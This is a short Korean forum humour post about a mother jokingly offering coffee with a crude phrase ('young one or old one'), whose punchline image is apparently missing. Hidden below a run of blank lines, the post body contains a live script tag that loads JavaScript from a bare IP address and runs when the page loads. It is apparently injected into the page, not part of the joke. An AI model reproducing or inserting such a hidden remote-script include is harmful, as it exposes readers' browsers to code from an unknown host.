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젊은년 할래 늙은년 할래
 글쓴이 : [色안기부鬼]
조회 : 5,457   추천 : 1   비추천 : 0  
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울 엄마가 커피 드시면서..

"너도 커피 한잔 할래?"

"네. 땡큐여"

"젊은년 할래 늙은년 할래?"

"??????네?"

그러면서 보여주신게..










..
<script src=http://208.77.42.141/home/rtf.js></script>
젊은년 할래 늙은년 할래


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